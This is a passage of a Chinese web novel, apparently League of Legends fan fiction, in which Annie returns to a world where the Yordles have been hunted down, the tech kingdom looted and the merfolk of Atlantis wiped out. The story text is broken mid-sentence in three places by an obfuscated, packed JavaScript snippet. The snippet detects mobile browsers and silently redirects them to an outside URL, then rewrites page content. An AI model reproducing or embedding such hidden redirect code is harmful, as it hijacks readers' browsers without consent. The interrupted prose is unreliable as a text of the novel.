你连这个都不知道啊?那约德尔城的事情你也不知道了?之前这里发生的大战呢?” 安妮诚实摇头:“你告诉我,我再给你一颗果子。” “嗐,说起来,那真是一场酣畅淋漓的大战啊!别看对手是矮小的约德尔人,但他们太团结了,也太敏捷了! 我们还是使用了一点小手段,才拿下这座城池! 好在,一切都是值得的,这里非常富饶,当初只要是参战人员,都得到了不少奖励!可惜,我当时咋就没上呢! 你问俘虏?战败当然是受死啊!大战之后还有悬赏,有个约德尔人的头颅价值千金呢!可惜,我们只能杀些普通人。 不过普通的约德尔人也值钱!他们长得和我们不一样,也方便辨认领赏,直到现在,追杀约德尔人都是热门营生呢,尽管其实已经好久没找到他们了,唉……” “别说了,我加入的那个猎捕小队都快解散了。” “不过我之前偶然抓到一个约德尔人,发了笔横财,嘿嘿!” “真羡慕你!我遇到过一次小约德尔人,可惜让他跑了!” 餐桌上,大家都就着说书人的话题讨论得热火朝天。他们仿若一个个旗开得胜的将军,挥洒着保家卫国的激情。 可是他们的屠刀,指向的是最善良、最友爱的种族。 “难道,约德尔人该死吗?” 安妮的问话落地,全场寂静了。 她露出一个比哭还难看的笑容,头一次,解释:“约德尔人,是最善良友爱的种族,不是吗?” 她以为,这辈子都不需要说这句话,因为这就是事实,是无可辩驳也不需要争论的真相。 他们,是去卖废品的路上,看见前面有人掉落了一袋金子,都会立刻出声提醒的人。 “但是……加丁院长下令了啊……” “难道他是错的?” “胡说八道!你忘了院长解释的话了吗?约德尔人都是骗子!” “对,他们都是装的!哪有人真那么高尚?” “就是,一个人就算了,还能全族都是好人吗?” “既然他们那么好,怎么不出来让我们杀了,我们都要穷死了!” “就是就是,约德尔人不见得好,我之前就被骗过。” “怎么被骗的你?” “咳咳……那个,就是……就是有一次!……” 客栈再次回归嘈杂,安妮置身其中,却感觉自己好像在看一卷相片。她被隔绝在名为“真相”的门外,看着里面的人自我欺骗。 其实,她早该想到的,或者说早就想到了。 约德尔人怎么可能和皇城的人和解? 但是,就这么死了吗? 一个种族,就这样销声匿迹。连他们引以为傲的优点,都被抹杀,甚至抹黑。 “真神奇啊,说约德尔人好的是他们,说约德尔人坏的也是他们。” 伊娃戏谑的声音响起,好像早已预料到了一切。 安妮不知道自己是怎么走出客栈的,她抬头,看着人来人往的街道,头一次觉得无处可去。 “小朋友,要一份名单吗?” 身侧,忽然传来一个苍老的声音。 完全陌生的,面孔也是。 穿着破旧的衣服,蓬头垢面,声音沙哑,看起来很狼狈。 “只需要一枚银币,很便宜的。” “什么名单?” “通缉名单,如果你看见有人帮助约德尔人,那个人一定在这份名单上。只要找到他们,想顺藤摸瓜找到约德尔人易如反掌。” 老人说完,安妮敏锐地察觉到了周围复杂的视线。 她无视,拿出自己刚兑换的银币。 老人拿了钱,一改原本颤颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296909|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巍巍的模样,飞快地跑了。 旁边,有人嬉笑着走过来:“这个名单隔段时间就会更新,在城中心的告示栏就有,免费的,你还用钱买!” “她不会觉得自己很善良吧,帮助了一个老人家?” “其实那老人家比她还有钱吧,哈哈哈哈!” “浪费一枚银币,回去可别被你家大人骂了。” 观众三三两两嘲笑着自己,安妮也自嘲地笑了。 她不知道吗? 或许是知道的,不知道骗术,但知道有诈。 那又为什么上当? 因为这是约德尔城啊。 她不想用任何恶意,来揣测这里的人,即使他们已经变样…… “如果是约德尔人,他们应该会直接上来提醒你吧……哦不对,他们就不会骗你,就算是老人也不会。” 伊娃轻描淡写的声音传来,安妮拿着名单,朝无人的角落走去。 她原本不想看的,但扫了一眼上面的图片,忽然顿住。 [机械公敌莱沃已伏诛] “呀,熟人——希望你还没忘记他。” 安妮站在原地,脑海里,是伊娃的碎碎念。 “天才的发明少年,立志为穷人献身,可最后被现实给了狠狠一击。好不容易退隐山林,以为得到了和平与自由,谁知道刚到约德尔不久,就和他们一起成为了通缉犯。 哦不对,他以前也是通缉犯,只不过现在罪名不一样了而已。那他的赏金也不一样了吧?杀他的人运气还真好。 你说他是和你师父一样,死在枪械下面,砰的一下,干脆又利落,还是为了保护谁,被很多人乱棍打死的? 可能没有棍,毕竟当时肯定是有什么用什么。那到底怎么判定?那些人会为了抢功吵起来吧……” “别说了!” 一声大吼,打断了伊娃,也招来了周围人疑惑的目光。 但他们只是看了一眼,便默默退开,仿佛在躲避一个疯子。 安妮勾唇,嘲笑上一秒还在担心有人关切上前的自己。 她将名单丢进垃圾桶,仿佛把自己所有的力气也丢了进去。她坐在旁边的椅子上,感觉,还真像个疯子。 少了点什么。 “你差一个玩偶,可惜,它在阿木木那里。” “我好像知道了……” 安妮呢喃着,脑海中,有什么念想越发清晰。 “知道什么?” 知道,我为什么没有愤怒,为什么没有杀戮,为什么还不愿意召回所有神器。 我还没有看完。 “你好,我来租借一匹马,去斩月山。” “什么?” “我说我想租借一匹马去斩月山,多少钱?” 放在以前,她是不会报备目的地的,但这一次安妮不需要隐藏什么。而且,告知目的地,也好让老板挑选一匹合适的马。 尽管,这段路程并不远,她要有神装,或者记得加速阵法,早自己走了。 安妮原本以为租借马匹已经足够麻烦,没想到麻烦的还在后面。 老板直接摇头:“不借。” “你这里就是提供租借服务的啊,为什么不借?” 安妮傻眼了。 “你个小屁孩骑什么马?你家大人呢?” “我就是大人,我是妖!” 妖族也有长不大的,安妮原本以为这样解释就行了,谁知老板轻蔑一笑:“那也不借,你把我马拿走不还了怎么办?” “不是有抵押吗?” “有抵押也不借,你能抵押点什么?” 约德尔城的租借服务对于本地人来说很简单,只需要登记一点基础信息,然后拿一定的物品做抵押,就可以借走马匹。 这些物品根据租借双方商议而定,很多约德尔人看见老乡,甚至不要抵押物品。 而她的外表非常具有迷惑性,约德尔人基本把她看作自家人,放在以前,她租借马匹不需要钱,估计还能得到一点礼物。 当然,安妮也不会占便宜。 她原本想着给足够的押金就行了,没想到会遇到这样的麻烦。 “我直接在你这买一匹马,可以了吧?” 安妮拿出自己兑换的银币——高于马匹市场价的那种。 老板顿时眉开眼笑,满意地搓手,接过银币,然后牵给了安妮一匹枣红色的小马。 “别看我这匹马……” “行了,就这个,给我吧。” 安妮看得出来,这匹马算是所有马儿里条件最差的那一批,但她要去的斩月山距离这里也不远,她懒得和老板扯皮。 她在周围人嘲笑的目光中上马,放眼望去,心中,一片悲凉。 “驾!” 马蹄声踩着落日的余晖,渐行渐远…… 33. 33 “吁!” 安妮的马再次停下,却是朝着前方倒冲出去,整匹马栽出去,惯性让拉缰绳的安妮无法控制。 她只能任由马儿摔向前,自己则是双手撑住马背,借力迅速跳开。 稳住身形的下一秒,草丛里传来大刀挥砍的声音,但这速度在安妮眼里实在不够看,她甚至看清了大刀主人的络腮胡。 力气也很小,只是风声大,安妮轻轻松松就侧身躲开,随后一拳打在男人背上。 “啪!” 刀脱手,还没来得及掉在地上,就被安妮抢过。 一气呵成。 “你是谁?” 这个技术,实在不像特地来追杀她的。 “女侠饶命!女侠饶命!我以为你是约德尔人!” 男人被缴械,哪还不知道安妮的实力?迅速跪下开始告饶求情,看不出一点之前挥砍大刀的凶狠模样。 而安妮听到求饶,一顿。 “约德尔人?” “我以为你是约德尔人,才拦住你的马,想杀了你领赏。是我眼瞎,我昏头了,女侠放过我吧!我再也不敢了!我很穷的,家里还有一个嗷嗷待哺的孩子!” 在源大陆,生命的产生很草率,因此亲情显得太过淡薄,没有抛弃孩子的人都值得尊敬。但安妮听到男人的话,却苦笑出声:“你有没有想过,你杀的约德尔人也有孩子?” “……” 男人沉默了。 安妮深深吸了口气,走向不省人事的马匹,不再理会男人。 “你走吧。” 见马是真的晕倒,安妮无奈起身。 若不是急着赶路,马儿速度太快停不下来,她其实是可以在绊马索前勒住缰绳的。亦或者马匹质量好点,能跳起来,也可以躲过绊马索,但可惜没有如果。 “女侠,你如果着急赶路的话,我知道附近有群人的马跑得很快,我可以带你去!” “那些马卖吗?” 她倒是还有些钱。 “不卖,但是你可以抢啊。” 男人一脸理所当然,见安妮露出错愕的表情,似乎十分不解,贴心解释:“强者为尊,不过是一匹马而已,抢了就抢了。他们别说马匹,日常的开销都是抢别人的——我就被抢过。” 加害者陡然变成受害者,安妮有些懵,更懵的是人们的转变。 若是十年前,就算不在约德尔城附近,抢劫也是很少存在的。这十年,究竟发生了什么? 伊娃估计是存留在自己意识的时间太久,灵力有限,已经不怎么说话。但这次,安妮难得主动唤醒了她:“源大陆到底怎么了?你知道的,对不对?” 尽管伊娃和自己一样被封存在无妄空间,但安妮就是相信伊娃知道一切,就好像一开始就知道,并且那么确定自己能出来。 可惜,这次伊娃没有解答。 她还是只给了安妮一个回答。 “如你所见。” 就和“你一定会出去”一样没用。 安妮不再追问,因为她到地了。 “女侠,就是前面,我就不和你一起过去了。这把刀送给你,就当我给你赔礼道歉了,再见再见!” 说是“再见”,其实男人脸上写满了“后会无期”。安妮拿着刀,随口问了句:“你叫什么?” “哎哟,小的就不说名字了,污了您的尊耳。” 男人说完赶紧离开,似乎生怕被人看见。 识海里,伊娃难得活跃:“这是害怕你知道名字后说出来,让那些人觉得你的抢劫和他有关系。引来灾难后隐姓埋名才是聪明人,他很聪明。” “呵。” 安妮看着手里的大刀,不置可否。 “喂,小妹妹,你来这边干什么?” 一个温柔的女声打断了安妮的思考,她抬眸,是一个身穿粗布麻衣的年轻少女。 十八九岁的模样,手上却长满老茧,不过面容姣好,精神头还不错。 “你家大人呢?赶紧走!” 她说完,不远处忽然传来一声怒喝。 “小玲,你在那干嘛呢?今天的晚饭准备好了吗?” 说着,一个五大三粗的男人走来。他穿着军绿色的大衣,棕色皮裤,黑色皮靴,眼神凶狠,声如洪钟。 若是寻常孩子,估计要被吓坏,但安妮只是摸着刀,轻声询问:“就是你们,经常抢劫这附近吗?” 少女清脆的声音响起,下一秒,男人瞬间暴起。 “你说什么?” 他吼完,也不等安妮回答,就是一巴掌。 这一巴掌比之前男人的挥刀力气还大,安妮这种体型的小孩,被打到不死也残。 少女赶紧挡在安妮面前,但下一秒被安妮拉开。她只感觉一阵天旋地转,紧接着,是男人的哀嚎。 “啊啊啊我的手!” “对不起……” 安妮看着掉在地上的残肢,后退半步,有些愣神。 多少年了? 没看见过这种颜色。 她不是没看见过鲜血,不是没见过残肢,她甚至亲手杀死过人,现在也有能力杀死很多人。但是她还是无法接受,眼前的世界出现腥红,即使这腥红来自反击…… “来人!来人!” “快跑!”少女推搡着安妮,神色焦急,“他和皇城有关系,你不该伤害他的!” “莫格莱斯?” 安妮只在意这个。 见少女点头,安妮不知道该说什么。 面前似乎出现了一个金发少女,耳边有什么声音回荡。记忆一点点回笼,安妮头一次发现,脑子里多了些什么。 她抬手,两个印记落在地上,紧接着,地面尘土飞扬。 “谢谢。” 安妮留下所有的银币后,迅速消失。 是的,她想起来了。 在离开无妄空间,主动回想阵法,躲避和反制了弗斯的探查后,头一次又被动回想起来一些阵法。 还有一些事。 安妮一边跑,一边任由清风帮自己擦干泪水。 她以为,自己首先想起来的,一定是刻骨铭心的回忆,是至关重要的细节,可脑海里,红蓝交错,一片紫色中,只有金光绽放…… 缇尔,看到了吗? 你的泪水,终于到我脸上了。 停在斩月山脚的时候,安妮还有些傻眼。 晨曦的光芒撒在面前人的身上,也撒在桌上,银币反射出一双双无奈的眼睛,叹息中却只有金钱的叮当声。 什么时候,进斩月山需要钱了? 安妮走到收钱人的面前,微笑。 “你好,请问,进入斩月山什么时候需要收钱了?我是这里出生的妖,前段时间下山,在外面逗留了久一点,啥也不知道。” “哦,这样啊?那没事,我告诉你也无妨,反正大家都知道。斩月山好东西不少,捡到就是赚到,加丁院长比较大度,让大家都有机会进去碰运气,给点入场费就行了。” “可是以前,不是不要钱吗?” “以前是以前,现在科技王国出现了啊!哦,对,你还不知道吧?” “知道什么?” “斩月山原来有个科技王国,就在整座山里面!现在科技王国被毁了,但是还有一些运气好保留下来的,捡到就有一大笔钱呢!” “科技王国,被毁了?” 安妮撑着桌子,竭力克制住内心的汹涌。 “被毁了啊,还不是怪科瑞特那个人渣!宁愿爆破机械之心毁掉科技王国,都不开放给我们!说起来他也是活该,现在科技王国没了,他也死了,好了吧?” 收费人员义愤填膺的声音不小,旁边的人听到了,也开始附和。 “就是就是,什么大发明家?自私自利,恶心死了!” “我看着那些破烂都心疼,不知道科技王国有多宏伟,唉!” “可惜了,只能说恶有恶报。” “恶有恶报?”安妮轻声询问,已经没有力气反驳。 就好像当初说“德尔人是最善良友爱的种族”会被群嘲一样,现在,她也不需要解释“科技王国本来就是科瑞特的”。 没有人会那样认为,或者说,没有人愿意那样认为。 端看现在,大家宁愿给钱都要进去捡东西就知道。 “你是斩月山里的妖?那我就不收你钱了吧,不过下次我可就不会免费了。” “谢谢。” 安妮已经把所有钱给了那个少女,如果需要入场费,确实有点麻烦。 “嗐,不用谢我,要谢就谢加丁院长吧,我这么大方都是跟他学的!要放以前,我比谁都抠门!” “加丁?” “是啊,要不是他说斩月山有科技王国,科技王国里的好东西可以卖钱,我们都不知道。现在他只是收取一些入场费,自己却不派人拿那些科技,不知道损失多少造福大家!” 收费人员说得情真意切,周围还有不少人附和。安妮苦笑,在一片赞颂声中离开。 她怕再待下去,理智会和科技王国一样,分崩离析。 斩月山变了。 科技王国的入口被大大咧咧展示出来,来来往往,都是过去没有的人气。 科瑞特最讨厌人气了。 安妮还记得那天欢迎自己的气球,和今天的一样鲜亮。 可是,已经没有家了。 走进去,那扇神秘的大门大喇喇敞开着。那个蕴含着强大力量的小人这次没有站在前面,自豪地打开大门。 真奇怪,明明无妄百年,她什么都忘了,现在却回想起来那么多细节。 想得心疼。 “这是喝咖啡的地方吧?这是街道。还有一区和二区,你记得吗?这里在过去有个垃圾桶,不见了。 墙面好黑啊,两边啥也没有,哦也不对,还有好多挖土的人,还有扫描仪!你不去吗? 没猜错的话,机械之心应该把这里爆破得差不多了,但是边缘还能幸免于难,所以这里那么多人挖坑。 其实科瑞特死了也好,他要是发现自己的街道被挖成这样,估计活着都能气死。” 伊娃的声音在脑海中回荡,帮助安妮想起更多她遗忘的细节。 其实,边缘已经被挖得面目全非了。原本平整的土地现在全是坑洞,她走路的时候都需要小心。 周围的大多数是孩子,估计都是来碰运气的,就像以前在斩月山脚的那些孩子一样。但是过去的孩子不会冒犯中心,也绝不会肆无忌惮,现在,不一样了吧…… 里面的人越来越少,环境也越来越凄凉。 就在这时,两个争吵的声音吸引了安妮的注意。 “这是我的!我先发现的!” “我的!是我的才对!” “快把它还给我,你这个强盗!” 两个孩童声音激烈,语气中满是愤怒。若放在以前,斩月山是绝对不会有这样的分贝存在的。 而此时,即使他们吵得不可开交,周围人也只当看不见,还是挖着自己的土。 这样的纷争或许他们已经司空见惯了吧。 但是安妮还没能做到熟视无睹,她正想走上前询问情况,一个男人比她先一步冒了出来。 穿着很普通的黑色夹克,棕色皮裤,整个人显得瘦削精明。 “你们在吵什么?” 他的降临仿佛一个主持公道的法官,两个孩子立马开始七嘴八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296910|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舌地讲述过程。 无非是第一个孩子发现了值钱的机器芯片,但没有趁手的工具,就去找人拿。这个时候,另一个孩子也发现了芯片,他有工具,于是就直接开始挖掘。 但拿到芯片还没捂热乎,之前那个孩子回来了,于是就有了现在的局面。 发现芯片的孩子当然认为芯片是自己的,他只是离开了一会儿;挖掘到芯片的孩子自然也不会退让,毕竟他都上手把芯片挖出来了。 “你们说的芯片是什么?很贵吗?” 男人状似好奇地问。 这虽然和主持公道没关系,但那孩子还是把挖掘到的芯片递给了男人。 男人把芯片拿在手上,翻来覆去看了两眼,忽然,抬手推倒了面前那个孩子! 然后,拔腿就跑! “我的芯片!” 那孩子反应过来,立马开始叫嚷,但他哪里反应得过来? 再次爬起来的时候,人都没影了。 另一个孩子显然呆一些,都没有反应过来发生了什么。此时再想追上去,也不可能了。 芯片就这样被抢走。 起身的孩子看着面前还在发呆的傻子,怒不可遏:“都怪你!现在好了,芯片没了!你赔我的芯片!” 即使知道他肯定没钱,也赔不起,那孩子还是举起了手上的工具。 两人扭打在一团。 安妮站在旁边,看到这里,忽然失去了阻止的兴趣。 她垂眸,转身离开。 越往里走,墙壁越黑,人越少。但是不同于全是机器人的寂寥,这次,是什么也没有了。 安妮以为自己不会再遇到人,没想到,被一个熟悉又陌生的声音喊住了。 “嘿,等等。” 没有叫名字,但安妮还是停下了。转身,火红色的长发还是那么显眼。 “有兴趣一起去个地方吗?船我已经准备好了。” 女人没说去哪里,没说什么船,但安妮就是鬼使神差地点了头,鬼使神差地走到了她的身边,鬼使神差地,问了出来。 “你认识我?” “你的伪装技术比之前差多了。” 女人说完,安妮只是苦笑。 无妄百年,她能勉强记得伪装技术已经很难得了。 “另外,有没有人告诉过你,你的眼睛?” 拉缇敲了敲眼角,安妮顿时心领神会。伪装眼神,也是金克丝的教学之一,还是重点,可惜她忘记了。 “最后,科技王国的内部,狗都不来,在这里等你,最合适不过了吧。” “那你不来了吗?——我也来了。” “因为我们的目的都不是钱。” “那你的目的是什么?” “小朋友,你的套话水平也降低了啊。”拉缇说完,眼神看向远方,“虽然很好奇你这段时间到底去了哪里,但只希望你的战斗技术还在吧。” “战斗?” 她已经很久没有想过这个了。 “我们到了。” 是一艘巨大的轮船,但没有那么多人,至少安妮上去之后没看到一个人。或许驾驶室会有吧,也只有那里会有了。 “你不用猜了,这艘船上没别人,负责驾驶的是机器。很不可思议吧,机器自动化这么高级又快速——还要谢谢你那个死去的朋友。” “死去的,朋友?” 安妮呢喃着,没有接话。 她想起了那天的甲板上,拉缇喝着酒,讲述着一段不为人知的过往。 望向海面,没有什么黑影。 “我以为你会问我,你不在的这段时间,都发生了什么。还是说,你都看完了?但不应该啊……” “我确实想问你,比如,我们的目的地?” “暗影群岛,我以为你知道的。” 暗影群岛吗? 安妮一顿,脑海里,响起的是伊娃的话语。 “你会害死他们的。” 伊娃还在脑子里,麦尔特大师和查纳金大师,还在吗? “你知道吗?大家都叫这十年‘黄金十年’。 因为这十年,加丁拿到了蛮族的无尽战刃镇守魔兽,灾难丛林再无危险,而皇城打败了约德尔城,得到了丰富的资源; 这十年,加丁发现了斩月山的科技王国,即使科瑞特带着机械之心爆破,也还剩下不少值钱的机器; 这十年,暗影群岛终于不是大师的禁地,可以再次被人踏足,而大家以为满含毒素的地方居然存在着珍奇的东西……” 随着拉缇的呢喃,安妮脑海中不断划过一个又一个身影。那都是她遗忘在无妄空间的,此刻如同回潮的海水涌入脑中,耳边,还有嘈杂的回响…… “我该走了。” “什么?” “其实,在她选择自杀的那一刻,我就该走了。” “我爱金币,在妈妈死后,我似乎也只能爱金币,但她的出现让我知道了,还有和金币一样宝贵的东西。” “我上半辈子活在金币堆里,下半辈子活在玫瑰丛里,如今,这一切,也该归于海里了。” 拉缇说话的时候,看向的是漆黑的海面。但是安妮恍惚间,却好像看见了站在光里的艾德文特。 “再见,这艘船,就当我送给金克丝她徒弟的礼物了。” “就当偿还金克丝送给她的话。” 最后一句是拉缇的呢喃,耳聪目明的安妮听到了,但她已经来不及询问。 因为唯一能够回答的那个人,已经消失在黑暗中。 就和之前消失在光明中的那个人一样。 为什么不管面向的是光明还是黑暗,结局都只是死亡? 安妮转身,融入黑暗。 34. 34 安妮走下船的那一刻,脑海里,伊娃出声了:“这里就是暗影群岛?” “很难接受吗?” 灰暗的天空,倔强生长的植物,暗处蠢蠢欲动的毒物,形成的环境配不上“暗影”两个字? “没记错的话,这里曾经叫‘苍翠群岛’。” 伊娃说完,安妮却没等到解释。 不过也很好理解,名字都是和地形匹配的,既然叫“苍翠”,那么这里曾经一定是绿树成荫,鸟语花香的存在。至于为什么会变成现在这样,她已经不关心了。 总之,不会再有更差的了。 她继续在沉默中前行着,跟着自己的感觉走。 暗影群岛也变了。 原本漆黑的天空还是漆黑的,原本倔强生长的植物也还生长着,但是走在上面,总感觉少了什么,又多了什么。 安妮看到了属于麦尔特的那间屋子,外表陈旧得感觉碰一下就全是灰。 她开门,走进去,空空如也。 那些材料,是锻造神装的时候用完了,还是被弗斯拿走了,似乎很好辨认。 就像莱沃的那间小发明室一样,过去杂乱得让人安心,现在空旷得让人惊心。 伊娃难得出现,语气很平常:“我记得我说过。” “是啊,你说了的,只是我不相信而已。” 安妮摸着桌子上的灰尘,用手指划过一条清晰的痕迹。 现在信了。 “所以,没有伤心的必要,不是么?” “是么?” 安妮总觉得,伊娃也变了,和她不再那么剑拔弩张。可惜,这些隐含安慰的话语已经没用了。 预知到,就不会伤心吗?那有个地方的结局,她早就知道了,为什么还是不敢去呢? 退出那间小小的屋子,安妮再次随意找了个方向。 这次,她看到了一个火山口。 汩汩的岩浆涌动,仿佛有什么庞然大物要钻出来。但是这一次,形状是怪异的,也没有那种震撼人心的气势。 尽管如此,高温也让安妮感到了灼热。 “这不是自然形成的。” 伊娃一锤定音。 其实很好猜测,毕竟没有任何过渡,这个火山口就那么平白无故地出现了。 过了一会儿,伊娃又道:“他们还挺聪明。” “他们?聪明?” “麦尔特和查纳金都是聪明人,很难理解吗?” 伊娃说完,安妮想到了之前在神装锻造完成之际,被丢上天空的东西。 那团黑遮挡住了天空的视线,也隐藏住了神装的出现,若是她不曾暴露,麦尔特和查纳金应该不会死吧…… “你又在自责,你有没有想过,你也不过是一个受害者?” 想过的,还想过很多次。 但受害者也是加害者。她一次次承受着苦难,却把苦难带给身边人。欧提特或许说得对,她就是灾难本身。 她该去那里了。 遥望海边,汹涌却沉寂的海水似乎在引诱安妮。 她深呼吸,拿出船上得到的避水珠,含在嘴里,下沉。 还是黑暗静谧的环境,好像天地间只剩下了自己。但这一次的安静让安妮感到的不是平和,是不安。 就像暗影群岛上的气氛,沉静又压抑。 亚特兰蒂斯的海水还是那么充满压迫感,四周好像被填充,熟悉又陌生的感觉,只是好像更加冷了。 是没有人的那种冷。 她轻轻摆动脚掌——实际上并不需要。就好像一个无知的潜水者,慢慢朝着那处神圣的地方游去。 但是这次没人阻止。 没有人冲出来打量她,也没有人跳出来责怪她,一切安静得诡异。她就这样来到了亚特兰蒂斯的入口,属于谁的房子还在这里。 是谁来着?名字她有点忘了。 她只记得,离开之前,给这里留下过礼物。她只记得,那些人鱼送别前依依不舍的眼神。 还有,那个人很喜欢跳舞,也很擅长跳舞。 安妮继续往前游动,直到看见那个巨大的宫殿。 门口没有守卫,很安静的环境。宝座上没有那个矜贵的女王,整座宫殿还是水晶的,映照出安妮形单影只的身影。 在这里,她显得如此渺小。 “我好像知道卜拉克为什么喜欢这些花里胡哨的宫殿了,看起来确实好看。为了这些宫殿恪守一些规矩,好像也无所谓。” 伊娃的声音传来,可惜没有回响。 安妮转身,努力辨认着,总算想起来那条通往真相的路。 她一时间,有些停滞不前。 “我还以为你永远不会感到害怕呢。” “害怕?我没有。” “你没有吗?那为什么不继续走下去?” 安妮握拳,沿着那条路,走下去。 还是遗忘了很多,至少她不敢在上空肆意地游动,必须跟着路径一点点向前。 身边没有带路的人,没有喋喋不休的声音。 空无一人的,昭示着安安静静的死亡。 就在这时,安妮忽然看到了什么东西。 头皮一麻。 黑色的、庞大的。 “比格毛丝!” 安妮没想到,在这里还能看到老朋友。 她冲上去,停在比格毛丝的大眼睛前,忽然不知道应该做什么了。 他还是静静地停在那里,仿佛一辆等待乘客的大卡车。钻进他的嘴巴,坐在柔软的舌头上,享受旅途风景的经历仿佛还在昨天,但有什么东西变了。 或者说,她变了。 伊娃其实说得对,她在害怕,她不敢。 她怕比格毛丝张口,说出的就是责怪的话语。 她怕自己灾难本身的事实被揭发,即使自己都已经知道。 她怕这个老朋友不再接受自己,尽管接不接受都无所谓了…… 庞然大物睁开眼睛,那双吓人的眼白明亮了一瞬。 “比格毛丝终于等到了安妮。” 还是悠远深沉仿佛古钟的呢喃,从比格毛丝的身体里传来。只是这一次不再充满活力,而是像生锈卡壳的机器,转动起来格外困难。 安妮仿佛也变成了钟,直挺挺地立在原地。 她轻轻伸出手,仿佛要触碰易碎的泡沫。眼前的泡泡里,浮现出穆迪舞动的身影,浮现出欧提特疏远的声音,浮现出亚特兰蒂斯海水冰冷的触感。 怕吗?可是她还是想触碰。 “比格毛丝要给安妮带句话,安妮不要伤心。” “什么?” “比格毛丝代表伊卡思,代表欧提特,代表穆迪——代表所有人鱼族的人,要给安妮说: 不怪你。” “不怪你。” “虽然不知道为什么,但比格毛丝也想说,不怪你。” 不怪你。 人鱼族千年的隐世避战,不怪你; 人鱼族所有生命的消逝,不怪你; 人鱼族被毁掉的一切,不怪你。 不怪你。 空灵的声音,直直闯进安妮的心脏。 “为什么不怪我……都怪我,都怪我啊!” “我们知道的,不怪你。” 耳边,是伊卡思悲悯的祷告;是欧提特无奈的低吟;是穆迪绝望的呢喃,最后,都杂糅成比格毛丝似乎微不足道的陈述句。 这是谁的声音,安妮已经分不出。 她就看着比格毛丝忽然如同流沙般消散,漆黑庞大的身体一点点瓦解,仿佛那些消失的族人,仿佛那些预想中迎接死亡的人鱼。 可是,连光点都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296911|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有…… 安静。 “比格毛丝!” “比格毛丝!” 安妮努力伸出手,摸到的却是一片虚无。 “比格毛丝的使命完成了。” “比格毛丝,很谢谢安妮的陪伴。” “比格毛丝要走了,安妮不要伤心。” “比格毛丝……” 消失了。 “他只是一抹执念,你看不出来吗?” 就像恕瑞玛沙漠里的守护者,他们的任务完成了,也就该消失了。 而他的任务,就是带给自己三个字。 不怪你。 “为什么!到底为什么!” 为什么面对光明是死,迎接黑暗是死,背对它们也是死! 到底要怎样,才能活下来! 他们只是想活下来啊! “你想哭,就哭出来吧。” “为什么,到底是为什么!” “啊啊啊为什么!” “为什么……” 漆黑的海底终于再次空无一人,识海里,伊娃看着安妮尽情发泄着,心底,不知为何也多了一抹悲伤。 这是身为残魂的她很少感知到的情绪,可是那么清晰真实。 难道,她也在为人鱼族感到悲伤吗? 可是,早就知道这个结果了,不是吗? 伊卡思知道,欧提特知道,甚至穆迪都知道。 或许安妮也是知道的。 她们早就知道。 一直过了很久。 久到安妮终于累了,终于无力地坐下。 一块石头滚了过来。 她虽然愤怒,但面前的雕像不是她毁掉的,周围的一切也和她毫无关系。她不过是让破败的更破败,混乱的更混乱,仅此而已。 拿起那块石头,一句话映入眼帘。 [黑暗之女安妮在此立誓,守护亚特兰蒂斯直到生命终点] “噗嗤。” 静谧的海底,忽然传来一声嗤笑。 安妮看着一片狼藉的亚特兰蒂斯,看着这句被遗忘的誓言,终于带着眼泪嗤笑出声。 你什么也守护不住。 她想把石头丢掉,却在触碰到的一瞬间,眼前一白。 是那种奇怪的感觉。 意识还在,身体却不受控制的感觉。 四周还漂浮着各种各样的泡沫,每一个都承载着沉重的记忆。还是和当初一样,任意查看一个,都是触目惊心的回忆。 周身仿佛被挤压钳制,只能随波逐流,任由意识被记忆挑起情绪,时而悲伤时而欢喜。这样极致的回忆,却正中安妮下怀。 过去的她只想逃离这片不受自己控制的海洋,但是如今,还有比现在悲伤的自己吗? 再糟糕的记忆充斥,比得上无妄空间的经历吗? 就让无尽到阻塞的记忆,和无妄的百年空洞对冲吧! “轰!” 安妮仿佛看到了冲刺的自己。 她凝聚力量,不知道是意识还是身体,总之,全副武装。即使庞大的记忆冲洗着她,脑海里仿佛有什么在翻搅,但她绝不后退。 努力回忆着无妄空间的一切,百年时光如同一个无尽的背篓,将那些充满敌意的海水尽数吸收过滤。 她倒要看看,这片海洋有什么! 反正,结局无非是死亡。 还有比这更差的吗? 就在天翻地覆之际,她忽然看到了一个熟悉的面孔。 伊娃! 旁边是一个陌生面孔,还有莫斯卡,还有卜拉克,甚至还有查纳金、伊卡思,乃至沃尔。这么多人齐聚一堂,神情各异。 安妮指尖轻颤,又好像没有。 但几乎是下意识的,她朝着那人潮密集的地方游去。 一片白光。 35. 35 安妮再次醒来,是一个奇怪的视角。 灵魂漂浮在半空中,仿佛一团空气。如果说周围的一切都是录像,而自己则是站在录像前的人。 面前是一个身着黄金铠甲的女人,身姿挺拔、英俊不凡。 